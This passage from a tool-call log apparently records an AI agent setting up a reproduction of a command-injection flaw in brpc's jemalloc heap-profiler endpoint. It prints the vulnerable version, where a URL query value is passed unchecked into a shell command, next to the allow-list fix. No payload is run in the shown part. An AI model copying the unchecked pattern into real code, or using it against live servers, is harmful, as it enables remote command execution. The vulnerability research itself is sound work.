./bin/test_server`。\n/home/user/pruva/work/brpc/docs/cn/heap_profiler.md:124:  - FLAGS_je_prof_reset：清理已采样数据，并且动态设置采样率，[默认](https://jemalloc.net/jemalloc.3.html#opt.lg_prof_sample)2^19B（512K），对性能影响可忽略。\n/home/user/pruva/work/brpc/docs/cn/heap_profiler.md:126:  - `MALLOC_CONF=\"prof:true,prof_leak:true,prof_final:true\" LD_PRELOAD=/xxx/lib/libjemalloc.so ./bin/test_server` ，进程退出时生成heap文件。\n/home/user/pruva/work/brpc/src/brpc/builtin/pprof_service.cpp:37:#include \"brpc/details/jemalloc_profiler.h\"\n/home/user/pruva/work/brpc/src/brpc/builtin/memory_service.cpp:24:#include \"brpc/details/jemalloc_profiler.h\"\n/home/user/pruva/work/brpc/src/brpc/builtin/memory_service.cpp:62:static void get_jemalloc_memory_info(Controller* cntl) {\n/home/user/pruva/work/brpc/src/brpc/builtin/memory_service.cpp:85:        get_jemalloc_memory_info(cntl);\n/home/user/pruva/work/brpc/src/brpc/builtin/memory_service.cpp:87:        resp.append(\"tcmalloc or jemalloc is not enabled\");\n/home/user/pruva/work/brpc/src/brpc/details/jemalloc_profiler.h:28:// more see ref: https://github.com/jemalloc/jemalloc/blob/dev/include/jemalloc/internal/stats.h#L9\n/home/user/pruva/work/brpc/src/brpc/details/jemalloc_profiler.cpp:28:#include <brpc/details/jemalloc_profiler.h>\n/home/user/pruva/work/brpc/src/brpc/details/jemalloc_profiler.cpp:37:// weak symbol: resolved at runtime by the linker if we are using jemalloc, nullptr otherwise\n/home/user/pruva/work/brpc/src/brpc/details/jemalloc_profiler.cpp:44:// https://jemalloc.net/jemalloc.3.html\n/home/user/pruva/work/brpc/src/brpc/details/jemalloc_profiler.cpp:45:DEFINE_bool(je_prof_active, false, \"control jemalloc prof.active, jemalloc profiling enabled but inactive,\"\n/home/user/pruva/work/brpc/src/brpc/details/jemalloc_profiler.cpp:47:DEFINE_int32(je_prof_dump, 0, \"control jemalloc prof.dump, change this only dump profile\");\n",
        "stderr": "grep: /home/user/pruva/work/brpc/.git/index: binary file matches\n",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 27,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:36:04.914086Z",
      "duration": 0.023680989000240515,
      "request": {
        "command": "ls -la /home/user/pruva/work/brpc",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "total 247\ndrwxr-xr-x 16 root root  4096 Jan 20 23:35 .\ndrwxr-xr-x  3 root root  4096 Jan 20 23:34 ..\n-rw-r--r--  1 root root   913 Jan 20 23:35 .asf.yaml\n-rw-r--r--  1 root root    26 Jan 20 23:35 .bazelignore\n-rw-r--r--  1 root root  1695 Jan 20 23:35 .bazelrc\n-rw-r--r--  1 root root     6 Jan 20 23:35 .bazelversion\ndrwxr-xr-x  8 root root  4096 Jan 20 23:35 .git\ndrwxr-xr-x  5 root root  4096 Jan 20 23:35 .github\n-rw-r--r--  1 root root   743 Jan 20 23:35 .gitignore\n-rw-r--r--  1 root root  7609 Jan 20 23:35 .licenserc.yaml\n-rw-r--r--  1 root root 18132 Jan 20 23:35 BUILD.bazel\n-rw-r--r--  1 root root  2284 Jan 20 23:35 CHANGES.md\n-rw-r--r--  1 root root 23936 Jan 20 23:35 CMakeLists.txt\n-rw-r--r--  1 root root  3216 Jan 20 23:35 CODE_OF_CONDUCT.md\n-rw-r--r--  1 root root  1532 Jan 20 23:35 CONTRIBUTING.md\n-rw-r--r--  1 root root  1470 Jan 20 23:35 Dockerfile\n-rw-r--r--  1 root root 47454 Jan 20 23:35 LICENSE\n-rw-r--r--  1 root root  1991 Jan 20 23:35 MODULE.bazel\n-rw-r--r--  1 root root 13520 Jan 20 23:35 Makefile\n-rw-r--r--  1 root root   165 Jan 20 23:35 NOTICE\n-rw-r--r--  1 root root  6954 Jan 20 23:35 README.md\n-rw-r--r--  1 root root  6579 Jan 20 23:35 README_cn.md\n-rw-r--r--  1 root root     7 Jan 20 23:35 RELEASE_VERSION\n-rw-r--r--  1 root root 11219 Jan 20 23:35 WORKSPACE\n-rw-r--r--  1 root root     0 Jan 20 23:35 WORKSPACE.bzlmod\ndrwxr-xr-x  4 root root  4096 Jan 20 23:35 bazel\ndrwxr-xr-x  2 root root  4096 Jan 20 23:35 cmake\ndrwxr-xr-x  2 root root  4096 Jan 20 23:35 community\n-rw-r--r--  1 root root   965 Jan 20 23:35 config.h.in\n-rwxr-xr-x  1 root root 19288 Jan 20 23:35 config_brpc.sh\ndrwxr-xr-x  5 root root  4096 Jan 20 23:35 docs\ndrwxr-xr-x 32 root root  4096 Jan 20 23:35 example\ndrwxr-xr-x  2 root root  4096 Jan 20 23:35 homebrew-formula\ndrwxr-xr-x  2 root root  4096 Jan 20 23:35 java\ndrwxr-xr-x  3 root root  4096 Jan 20 23:35 package\ndrwxr-xr-x  2 root root  4096 Jan 20 23:35 python\ndrwxr-xr-x  8 root root  4096 Jan 20 23:35 src\ndrwxr-xr-x  3 root root 16384 Jan 20 23:35 test\ndrwxr-xr-x  7 root root  4096 Jan 20 23:35 tools\n",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 28,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:36:09.535460Z",
      "duration": 0.030906411000160006,
      "request": {
        "command": "ls -la /home/user/pruva/work/brpc/example | head -n 20",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "total 131\ndrwxr-xr-x 32 root root 4096 Jan 20 23:35 .\ndrwxr-xr-x 16 root root 4096 Jan 20 23:35 ..\n-rw-r--r--  1 root root 3057 Jan 20 23:35 BUILD.bazel\ndrwxr-xr-x  2 root root 4096 Jan 20 23:35 asynchronous_echo_c++\ndrwxr-xr-x  2 root root 4096 Jan 20 23:35 auto_concurrency_limiter\ndrwxr-xr-x  2 root root 4096 Jan 20 23:35 backup_request_c++\ndrwxr-xr-x  2 root root 4096 Jan 20 23:35 baidu_proxy_and_generic_call\ndrwxr-xr-x  2 root root 4096 Jan 20 23:35 bthread_tag_echo_c++\ndrwxr-xr-x  2 root root 4096 Jan 20 23:35 build_with_bazel\ndrwxr-xr-x  2 root root 4096 Jan 20 23:35 build_with_old_bazel\ndrwxr-xr-x  2 root root 4096 Jan 20 23:35 cancel_c++\ndrwxr-xr-x  2 root root 4096 Jan 20 23:35 cascade_echo_c++\ndrwxr-xr-x  2 root root 4096 Jan 20 23:35 coroutine\ndrwxr-xr-x  2 root root 4096 Jan 20 23:35 couchbase_c++\ndrwxr-xr-x  2 root root 4096 Jan 20 23:35 dynamic_partition_echo_c++\ndrwxr-xr-x  2 root root 4096 Jan 20 23:35 echo_c++\ndrwxr-xr-x  2 root root 4096 Jan 20 23:35 grpc_c++\ndrwxr-xr-x  2 root root 4096 Jan 20 23:35 http_c++\ndrwxr-xr-x  2 root root 4096 Jan 20 23:35 memcache_c++\n",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 29,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:36:13.821861Z",
      "duration": 0.0139360010002747,
      "request": {
        "command": "ls -la /home/user/pruva/work/brpc/example/echo_c++",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "total 28\ndrwxr-xr-x  2 root root 4096 Jan 20 23:35 .\ndrwxr-xr-x 32 root root 4096 Jan 20 23:35 ..\n-rw-r--r--  1 root root 4304 Jan 20 23:35 CMakeLists.txt\n-rw-r--r--  1 root root 3060 Jan 20 23:35 Makefile\n-rw-r--r--  1 root root 4155 Jan 20 23:35 client.cpp\n-rw-r--r--  1 root root 1073 Jan 20 23:35 echo.proto\n-rw-r--r--  1 root root 5746 Jan 20 23:35 server.cpp\n",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 30,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:36:17.166943Z",
      "duration": 0.011053940999772749,
      "request": {
        "command": "sed -n '1,200p' /home/user/pruva/work/brpc/example/BUILD.bazel",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "# Licensed to the Apache Software Foundation (ASF) under one or more\n# contributor license agreements.  See the NOTICE file distributed with\n# this work for additional information regarding copyright ownership.\n# The ASF licenses this file to You under the Apache License, Version 2.0\n# (the \"License\"); you may not use this file except in compliance with\n# the License.  You may obtain a copy of the License at\n#\n#    http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nload(\"@rules_proto//proto:defs.bzl\", \"proto_library\")\nload(\"@rules_cc//cc:defs.bzl\", \"cc_binary\", \"cc_proto_library\")\n\nCOPTS = [\n    \"-D__STDC_FORMAT_MACROS\",\n    \"-DBTHREAD_USE_FAST_PTHREAD_MUTEX\",\n    \"-D__const__=__unused__\",\n    \"-D_GNU_SOURCE\",\n    \"-DUSE_SYMBOLIZE\",\n    \"-DNO_TCMALLOC\",\n    \"-D__STDC_LIMIT_MACROS\",\n    \"-D__STDC_CONSTANT_MACROS\",\n    \"-fPIC\",\n    \"-Wno-unused-parameter\",\n    \"-fno-omit-frame-pointer\",\n] + select({\n    \"//bazel/config:brpc_with_glog\": [\"-DBRPC_WITH_GLOG=1\"],\n    \"//conditions:default\": [\"-DBRPC_WITH_GLOG=0\"],\n}) + select({\n    \"//bazel/config:brpc_with_rdma\": [\"-DBRPC_WITH_RDMA=1\"],\n    \"//conditions:default\": [\"\"],\n})\n\nproto_library(\n    name = \"echo_c++_proto\",\n    srcs = [\n        \"echo_c++/echo.proto\",\n    ],\n)\n\nproto_library(\n    name = \"rdma_performance_proto\",\n    srcs = [\n        \"rdma_performance/test.proto\",\n    ],\n)\n\ncc_proto_library(\n    name = \"cc_echo_c++_proto\",\n    deps = [\n        \":echo_c++_proto\",\n    ],\n)\n\ncc_proto_library(\n    name = \"cc_rdma_performance_proto\",\n    deps = [\n        \":rdma_performance_proto\",\n    ],\n)\n\ncc_binary(\n    name = \"echo_c++_server\",\n    srcs = [\n        \"echo_c++/server.cpp\",\n    ],\n    copts = COPTS,\n    includes = [\n        \"echo_c++\",\n    ],\n    deps = [\n        \":cc_echo_c++_proto\",\n        \"//:brpc\",\n    ],\n)\n\ncc_binary(\n    name = \"echo_c++_client\",\n    srcs = [\n        \"echo_c++/client.cpp\",\n    ],\n    copts = COPTS,\n    includes = [\n        \"echo_c++\",\n    ],\n    deps = [\n        \":cc_echo_c++_proto\",\n        \"//:brpc\",\n    ],\n)\n\ncc_binary(\n    name = \"rdma_performance_server\",\n    srcs = [\n        \"rdma_performance/server.cpp\",\n    ],\n    includes = [\n        \"rdma_performance\",\n    ],\n    copts = COPTS + [\"-DBRPC_WITH_RDMA=1\"],\n    deps = [\n        \":cc_rdma_performance_proto\",\n        \"//:brpc\",\n    ],\n)\n\ncc_binary(\n    name = \"rdma_performance_client\",\n    srcs = [\n        \"rdma_performance/client.cpp\",\n    ],\n    includes = [\n        \"rdma_performance\",\n    ],\n    copts = COPTS + [\"-DBRPC_WITH_RDMA=1\"],\n    deps = [\n        \":cc_rdma_performance_proto\",\n        \"//:brpc\",\n    ],\n)\n\ncc_binary(\n    name = \"redis_c++_server\",\n    srcs = [\n        \"redis_c++/redis_server.cpp\",\n    ],\n    copts = COPTS,\n    deps = [\n        \"//:brpc\",\n    ],\n)",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 31,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:36:20.768857Z",
      "duration": 0.013725873000112188,
      "request": {
        "command": "grep -n \"jemalloc\" -n /home/user/pruva/work/brpc/BUILD.bazel | head -n 50",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 32,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:36:29.072114Z",
      "duration": 0.011837430000014137,
      "request": {
        "command": "sed -n '180,280p' /home/user/pruva/work/brpc/src/brpc/details/jemalloc_profiler.cpp",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "        result.append(option);\n        result.append(\" \");\n    }\n    return result;\n}\n\nvoid JeControlProfile(Controller* cntl) {\n    const brpc::URI& uri = cntl->http_request().uri();\n    // http:ip:port/pprof/heap?display=(text|svg|stats|flamegraph)&extra_options=(inuse_space|inuse_objects..)\n    const std::string* uri_display = uri.GetQuery(\"display\");\n\n    butil::IOBuf& buf = cntl->response_attachment();\n    cntl->http_response().set_content_type(\"text/plain\");\n\n    // support ip:port/pprof/heap?display=stats\n    if (uri_display != nullptr && *uri_display == \"stats\") {\n        const std::string* uri_opts = uri.GetQuery(\"opts\");\n        std::string opts = !uri_opts || uri_opts->empty() ? \"Ja\" : *uri_opts;\n        buf.append(StatsPrint(opts));\n        return;\n    }\n\n    if (!HasEnableJemallocProfile()) {\n        cntl->SetFailed(ENOMETHOD, \"Heap profiler is not enabled, (no MALLOC_CONF=prof:true in env)\");\n        return;\n    }\n\n    // only dump profile\n    const std::string prof_name = JeProfileDump();\n    if (prof_name.empty()) {\n        cntl->SetFailed(-1, \"Fail to dump profile\");\n        buf.append(\"\\nFail to dump profile\");\n        return;\n    }\n\n    // support jeprof ip:port/pprof/heap\n    if (uri_display == nullptr || uri_display->empty()) {\n        std::string content;\n        if (!butil::ReadFileToString(butil::FilePath(prof_name), &content)) {\n            LOG(WARNING) << \"read \" << prof_name << \" fail\";\n            return;\n        }\n        buf.append(content);\n        return;\n    }\n\n    // support curl/browser\n    buf.append(prof_name);\n\n    std::string jeprof;\n    const char* f_jeprof = std::getenv(\"JEPROF_FILE\");\n    if (f_jeprof != nullptr && butil::PathExists(butil::FilePath(f_jeprof))) {\n        jeprof = f_jeprof;\n    } else {\n        LOG(WARNING) << \"env JEPROF_FILE invalid\";\n        buf.append(\"\\nenv JEPROF_FILE invalid\");\n        jeprof = \"jeprof \"; // use PATH\n    }\n    \n    char process_path[500] = {};\n    ssize_t len = butil::GetProcessAbsolutePath(process_path, sizeof(process_path));\n    if (len == -1) {\n        LOG(WARNING) << \"GetProcessAbsolutePath of process err\";\n        buf.append(\"\\nGetProcessAbsolutePath of process err\");\n        return;\n    }\n    const std::string process_file(process_path, len);\n\n    std::string cmd_str = butil::string_printf(\n        \"%s %s %s\", jeprof.c_str(), process_file.c_str(), prof_name.c_str());\n\n    // https://github.com/jemalloc/jemalloc/blob/5.3.0/bin/jeprof.in#L211-L222\n    // e.g: inuse_space, contentions\n    const std::string* uri_extra_options = uri.GetQuery(\"extra_options\");\n    if (uri_extra_options != nullptr && !uri_extra_options->empty()) {\n        if (g_extra_options_set.count(uri_extra_options->c_str()) > 0) {\n            butil::string_appendf(&cmd_str, \" --%s\", uri_extra_options->c_str());\n        } else {\n            static std::string g_options_str = GlobalExtraOptionsString();\n            LOG(WARNING) << \"Unsupported jemalloc options=\" << *uri_extra_options\n                         << \", only support [\" << g_options_str << \"]\";\n        }\n    }\n\n    bool display_img = false;\n    if (*uri_display == \"svg\") {\n        cmd_str += \" --svg \";\n        display_img = true;\n    } else if (*uri_display == \"flamegraph\") {\n        const char* flamegraph_tool = getenv(\"FLAMEGRAPH_PL_PATH\");\n        if (!flamegraph_tool) {\n            LOG(WARNING) << \" display: \" << *uri_display\n                         << \" invalid, env FLAMEGRAPH_PL_PATH invalid\";\n            buf.append(\"\\ndisplay:\" + *uri_display + \" invalid, env FLAMEGRAPH_PL_PATH invalid\"); \n            return;\n        }\n        const int width_size = FLAGS_max_flame_graph_width > 0 ? FLAGS_max_flame_graph_width : 1200;\n        butil::string_appendf(&cmd_str, \" --collapsed | %s --colors mem --width %d\",\n                              flamegraph_tool, width_size);\n        display_img = true;\n    } else if (*uri_display == \"text\") {\n",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 33,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:36:32.160010Z",
      "duration": 0.020570025999859354,
      "request": {
        "command": "git -C /home/user/pruva/work/brpc show 1.14.1:src/brpc/details/jemalloc_profiler.cpp | sed -n '200,280p'",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "        std::string content;\n        if (!butil::ReadFileToString(butil::FilePath(prof_name), &content)) {\n            LOG(WARNING) << \"read \" << prof_name << \" fail\";\n            return;\n        }\n        buf.append(content);\n        return;\n    }\n\n    // support curl/browser\n    buf.append(prof_name);\n\n    std::string jeprof;\n    const char* f_jeprof = std::getenv(\"JEPROF_FILE\");\n    if (f_jeprof != nullptr && butil::PathExists(butil::FilePath(f_jeprof))) {\n        jeprof = f_jeprof;\n    } else {\n        LOG(WARNING) << \"env JEPROF_FILE invalid\";\n        buf.append(\"\\nenv JEPROF_FILE invalid\");\n        jeprof = \"jeprof \"; // use PATH\n    }\n    \n    char process_path[500] = {};\n    ssize_t len = butil::GetProcessAbsolutePath(process_path, sizeof(process_path));\n    if (len == -1) {\n        LOG(WARNING) << \"GetProcessAbsolutePath of process err\";\n        buf.append(\"\\nGetProcessAbsolutePath of process err\");\n        return;\n    }\n    const std::string process_file(process_path, len);\n\n    std::string cmd_str = jeprof + \" \" + process_file + \" \" + prof_name;\n\n    // https://github.com/jemalloc/jemalloc/blob/5.3.0/bin/jeprof.in#L211-L222\n    // e.g: inuse_space, contentions\n    const std::string* uri_extra_options = uri.GetQuery(\"extra_options\");\n    if (uri_extra_options != nullptr && !uri_extra_options->empty()) {\n        cmd_str += \" --\" + *uri_extra_options + \" \";\n    }\n\n    bool display_img = false;\n    if (*uri_display == \"svg\") {\n        cmd_str += \" --svg \";\n        display_img = true;\n    } else if (*uri_display == \"flamegraph\") {\n        const char* flamegraph_tool = getenv(\"FLAMEGRAPH_PL_PATH\");\n        if (!flamegraph_tool) {\n            LOG(WARNING) << \" display: \" << *uri_display << \" invalid, env FLAMEGRAPH_PL_PATH invalid\";\n            buf.append(\"\\ndisplay:\" + *uri_display + \" invalid, env FLAMEGRAPH_PL_PATH invalid\"); \n            return;\n        }\n        const int width_size = FLAGS_max_flame_graph_width > 0 ? FLAGS_max_flame_graph_width : 1200;\n        cmd_str += \" --collapsed | \" + std::string(flamegraph_tool) + \" --colors mem --width \" + std::to_string(width_size);\n        display_img = true;\n    } else if (*uri_display == \"text\") {\n        cmd_str += \" --text \";\n    } else {\n        LOG(WARNING) << \" display: \" << *uri_display << \" invalid\";\n        buf.append(\"\\ndisplay:\" + *uri_display + \" invalid\");\n        return;\n    }\n    butil::IOBufBuilder builder;\n    if (butil::read_command_output(builder, cmd_str.c_str()) != 0) {\n        buf.append(\"\\nread_command_output <\" + cmd_str + \"> fail\");\n        LOG(WARNING) << \"read_command_output <\" + cmd_str + \"> fail\";\n        return;\n    }\n\n    if (display_img) {\n        buf.swap(builder.buf());\n        cntl->http_response().set_content_type(\"image/svg+xml\");\n    } else {\n        buf.append(\"\\ncmd: \" + cmd_str + \"\\n\");\n        buf.append(builder.buf());\n    }\n}\n\nstatic bool validate_je_prof_active(const char*, bool enable) {\n    if (!HasJemalloc()) {\n        return true;\n    }\n",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 34,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:36:40.605342Z",
      "duration": 0.7828066800002489,
      "request": {
        "command": "git -C /home/user/pruva/work/brpc worktree add /home/user/pruva/work/brpc-1.14.1 1.14.1",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "HEAD is now at 9049685d improve server and redis docs\n",
        "stderr": "Preparing worktree (detached HEAD 9049685d)\n",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 35,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:36:48.664055Z",
      "duration": 0.7950155859998631,
      "request": {
        "command": "git -C /home/user/pruva/work/brpc worktree add /home/user/pruva/work/brpc-1.15.0 1.15.0",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "HEAD is now at 50a9075d Release 1.15.0\n",
        "stderr": "Preparing worktree (detached HEAD 50a9075d)\n",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 36,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:37:00.163360Z",
      "duration": 6.224789262000286,
      "request": {
        "command": "bazel build //example:echo_c++_server",
        "timeout": 300.0
      },
      "response": {
        "returncode": 2,
        "stdout": "",
        "stderr": "WARNING: Invoking Bazel in batch mode since it is not invoked from within a workspace (below a directory having a MODULE.bazel file).\nOpenJDK 64-Bit Server VM warning: Options -Xverify:none and -noverify were deprecated in JDK 13 and will likely be removed in a future release.\nERROR: The 'build' command is only supported from within a workspace (below a directory having a MODULE.bazel file).\nSee documentation at https://bazel.build/concepts/build-ref#workspace\n",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 37,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:37:06.795369Z",
      "duration": 2.137415771999713,
      "request": {
        "command": "bazel build //example:echo_c++_server",
        "timeout": 300.0
      },
      "response": {
        "returncode": 2,
        "stdout": "",
        "stderr": "WARNING: Invoking Bazel in batch mode since it is not invoked from within a workspace (below a directory having a MODULE.bazel file).\nOpenJDK 64-Bit Server VM warning: Options -Xverify:none and -noverify were deprecated in JDK 13 and will likely be removed in a future release.\nERROR: The 'build' command is only supported from within a workspace (below a directory having a MODULE.bazel file).\nSee documentation at https://bazel.build/concepts/build-ref#workspace\n",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 38,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:37:34.949571Z",
      "duration": 19.242067760000282,
      "request": {
        "command": "cd /home/user/pruva/work/brpc-1.14.1 && bazel build //example:echo_c++_server",
        "timeout": 300.0
      },
      "response": {
        "returncode": 32,
        "stdout": "",
        "stderr": "Starting local Bazel server and connecting to it...\nComputing main repo mapping: \nComputing main repo mapping: \nComputing main repo mapping: \nERROR: Error computing the main repository mapping: Error accessing registry https://bcr.bazel.build: Failed to fetch registry file https://bcr.bazel.build/modules/apple_support/1.17.1/MODULE.bazel: Unable to tunnel through proxy. Proxy returns \"HTTP/1.1 401 Unauthorized\"\n",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 39,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:37:40.667279Z",
      "duration": 0.011308097999972233,
      "request": {
        "command": "grep -n \"bzlmod\" -n /home/user/pruva/work/brpc-1.14.1/.bazelrc",
        "timeout": 60.0
      },
      "response": {
        "returncode": 1,
        "stdout": "",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 40,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:37:58.855074Z",
      "duration": 14.030152070999975,
      "request": {
        "command": "cd /home/user/pruva/work/brpc-1.14.1 && bazel build --noenable_bzlmod //example:echo_c++_server",
        "timeout": 300.0
      },
      "response": {
        "returncode": 1,
        "stdout": "",
        "stderr": "Computing main repo mapping: \nComputing main repo mapping: \nComputing main repo mapping: \nComputing main repo mapping: \nComputing main repo mapping: \nComputing main repo mapping: \nWARNING: Download from https://github.com/bazelbuild/rules_foreign_cc/archive/0.7.0.tar.gz failed: class java.io.IOException Unable to tunnel through proxy. Proxy returns \"HTTP/1.1 401 Unauthorized\"\nINFO: Repository rules_foreign_cc instantiated at:\n  /home/user/pruva/work/brpc-1.14.1/WORKSPACE:105:13: in <toplevel>\nRepository rule http_archive defined at:\n  /root/.cache/bazel/_bazel_root/6f2230e995b1173327124e30da85aea1/external/bazel_tools/tools/build_defs/repo/http.bzl:382:31: in <toplevel>\nERROR: An error occurred during the fetch of repository 'rules_foreign_cc':\n   Traceback (most recent call last):\n\tFile \"/root/.cache/bazel/_bazel_root/6f2230e995b1173327124e30da85aea1/external/bazel_tools/tools/build_defs/repo/http.bzl\", line 131, column 45, in _http_archive_impl\n\t\tdownload_info = ctx.download_and_extract(\nError in download_and_extract: java.io.IOException: Error downloading [https://github.com/bazelbuild/rules_foreign_cc/archive/0.7.0.tar.gz] to /root/.cache/bazel/_bazel_root/6f2230e995b1173327124e30da85aea1/external/rules_foreign_cc/temp2636583243082393348/0.7.0.tar.gz: Unable to tunnel through proxy. Proxy returns \"HTTP/1.1 401 Unauthorized\"\nERROR: Error computing the main repository mapping: no such package '@@rules_foreign_cc//foreign_cc': java.io.IOException: Error downloading [https://github.com/bazelbuild/rules_foreign_cc/archive/0.7.0.tar.gz] to /root/.cache/bazel/_bazel_root/6f2230e995b1173327124e30da85aea1/external/rules_foreign_cc/temp2636583243082393348/0.7.0.tar.gz: Unable to tunnel through proxy. Proxy returns \"HTTP/1.1 401 Unauthorized\"\n",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 41,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:38:04.038722Z",
      "duration": 0.029311241999948834,
      "request": {
        "command": "ls -la /home/user/pruva/work/brpc-1.14.1 | grep third",
        "timeout": 60.0
      },
      "response": {
        "returncode": 1,
        "stdout": "",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 42,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:38:08.134205Z",
      "duration": 0.011733819000255608,
      "request": {
        "command": "sed -n '1,200p' /home/user/pruva/work/brpc-1.14.1/config_brpc.sh",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "#!/usr/bin/env sh\n\n# Licensed to the Apache Software Foundation (ASF) under one or more\n# contributor license agreements.  See the NOTICE file distributed with\n# this work for additional information regarding copyright ownership.\n# The ASF licenses this file to You under the Apache License, Version 2.0\n# (the \"License\"); you may not use this file except in compliance with\n# the License.  You may obtain a copy of the License at\n#\n#    http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nSYSTEM=$(uname -s)\nif [ \"$SYSTEM\" = \"Darwin\" ]; then\n    if [ -z \"$BASH\" ] || [ \"$BASH\" = \"/bin/sh\" ] ; then\n        ECHO=echo\n    else\n        ECHO='echo -e'\n    fi\n    SO=dylib\n    LDD=\"otool -L\"\n    if [ \"$(getopt -V)\" = \" --\" ]; then\n        >&2 $ECHO \"gnu-getopt must be installed and used\"\n        exit 1\n    fi\nelse\n    if [ -z \"$BASH\" ]; then\n        ECHO=echo\n    else\n        ECHO='echo -e'\n    fi\n    SO=so\n    LDD=ldd\nfi\n\nTEMP=`getopt -o v: --long headers:,libs:,cc:,cxx:,with-glog,with-thrift,with-rdma,with-mesalink,with-bthread-tracer,with-debug-bthread-sche-safety,with-debug-lock,with-asan,nodebugsymbols,werror -n 'config_brpc' -- \"$@\"`\nWITH_GLOG=0\nWITH_THRIFT=0\nWITH_RDMA=0\nWITH_MESALINK=0\nWITH_BTHREAD_TRACER=0\nWITH_ASAN=0\nBRPC_DEBUG_BTHREAD_SCHE_SAFETY=0\nDEBUGSYMBOLS=-g\nWERROR=\nBRPC_DEBUG_LOCK=0\n\nif [ $? != 0 ] ; then >&2 $ECHO \"Terminating...\"; exit 1 ; fi\n\n# Note the quotes around `$TEMP': they are essential!\neval set -- \"$TEMP\"\n\nif [ \"$SYSTEM\" = \"Darwin\" ]; then\n    REALPATH=realpath\nelse\n    REALPATH=\"readlink -f\"\nfi\n\n# Convert to abspath always so that generated mk is include-able from everywhere\nwhile true; do\n    case \"$1\" in\n        --headers ) HDRS_IN=\"$(${REALPATH} $2)\"; shift 2 ;;\n        --libs ) LIBS_IN=\"$(${REALPATH} $2)\"; shift 2 ;;\n        --cc ) CC=$2; shift 2 ;;\n        --cxx ) CXX=$2; shift 2 ;;\n        --with-glog ) WITH_GLOG=1; shift 1 ;;\n        --with-thrift) WITH_THRIFT=1; shift 1 ;;\n        --with-rdma) WITH_RDMA=1; shift 1 ;;\n        --with-mesalink) WITH_MESALINK=1; shift 1 ;;\n        --with-bthread-tracer) WITH_BTHREAD_TRACER=1; shift 1 ;;\n        --with-debug-bthread-sche-safety ) BRPC_DEBUG_BTHREAD_SCHE_SAFETY=1; shift 1 ;;\n        --with-debug-lock ) BRPC_DEBUG_LOCK=1; shift 1 ;;\n        --with-asan) WITH_ASAN=1; shift 1 ;;\n        --nodebugsymbols ) DEBUGSYMBOLS=; shift 1 ;;\n        --werror ) WERROR=-Werror; shift 1 ;;\n        -- ) shift; break ;;\n        * ) break ;;\n    esac\ndone\n\nif [ -z \"$CC\" ]; then\n    if [ ! -z \"$CXX\" 